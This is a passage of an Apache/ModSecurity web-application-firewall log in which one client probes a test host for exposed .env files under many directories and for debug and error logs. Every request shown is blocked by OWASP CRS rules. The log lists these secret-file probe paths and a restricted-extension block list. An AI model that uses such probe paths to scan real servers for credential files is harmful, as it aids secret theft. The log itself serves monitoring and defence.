&quot;aJHI7zoY6lxTouuFksPvEgAAAAY&quot;]
[Tue Aug 05 11:03:43.271465 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/admin&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvEgAAAAY&quot;]
[Tue Aug 05 11:03:43.271613 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/admin&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvEgAAAAY&quot;]
[Tue Aug 05 11:03:43.396182 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvGAAAAAY&quot;]
[Tue Aug 05 11:03:43.396356 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvGAAAAAY&quot;]
[Tue Aug 05 11:03:43.396502 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvGAAAAAY&quot;]
[Tue Aug 05 11:03:43.437153 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /k8s/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvGgAAAAY&quot;]
[Tue Aug 05 11:03:43.437353 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvGgAAAAY&quot;]
[Tue Aug 05 11:03:43.437497 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvGgAAAAY&quot;]
[Tue Aug 05 11:03:43.921199 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvIAAAAAY&quot;]
[Tue Aug 05 11:03:43.921431 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvIAAAAAY&quot;]
[Tue Aug 05 11:03:43.921608 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aJHI7zoY6lxTouuFksPvIAAAAAY&quot;]
[Tue Aug 05 11:03:44.110334 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYMQAAABA&quot;]
[Tue Aug 05 11:03:44.110593 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYMQAAABA&quot;]
[Tue Aug 05 11:03:44.110767 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYMQAAABA&quot;]
[Tue Aug 05 11:03:44.133160 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYMgAAABA&quot;]
[Tue Aug 05 11:03:44.133360 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYMgAAABA&quot;]
[Tue Aug 05 11:03:44.133515 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYMgAAABA&quot;]
[Tue Aug 05 11:03:44.179153 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYNAAAABA&quot;]
[Tue Aug 05 11:03:44.179338 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYNAAAABA&quot;]
[Tue Aug 05 11:03:44.179481 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYNAAAABA&quot;]
[Tue Aug 05 11:03:44.201864 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYNQAAABA&quot;]
[Tue Aug 05 11:03:44.202153 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYNQAAABA&quot;]
[Tue Aug 05 11:03:44.202313 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYNQAAABA&quot;]
[Tue Aug 05 11:03:44.224581 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYNgAAABA&quot;]
[Tue Aug 05 11:03:44.224859 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYNgAAABA&quot;]
[Tue Aug 05 11:03:44.225011 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYNgAAABA&quot;]
[Tue Aug 05 11:03:44.247497 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYNwAAABA&quot;]
[Tue Aug 05 11:03:44.247681 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYNwAAABA&quot;]
[Tue Aug 05 11:03:44.247886 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYNwAAABA&quot;]
[Tue Aug 05 11:03:44.270868 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYOAAAABA&quot;]
[Tue Aug 05 11:03:44.271207 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYOAAAABA&quot;]
[Tue Aug 05 11:03:44.271453 2025] [:error] [pid 1720191] [client 185.177.72.115:18472] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aJHI8Fgw4HLFH7L0P7lYOAAAABA&quot;]
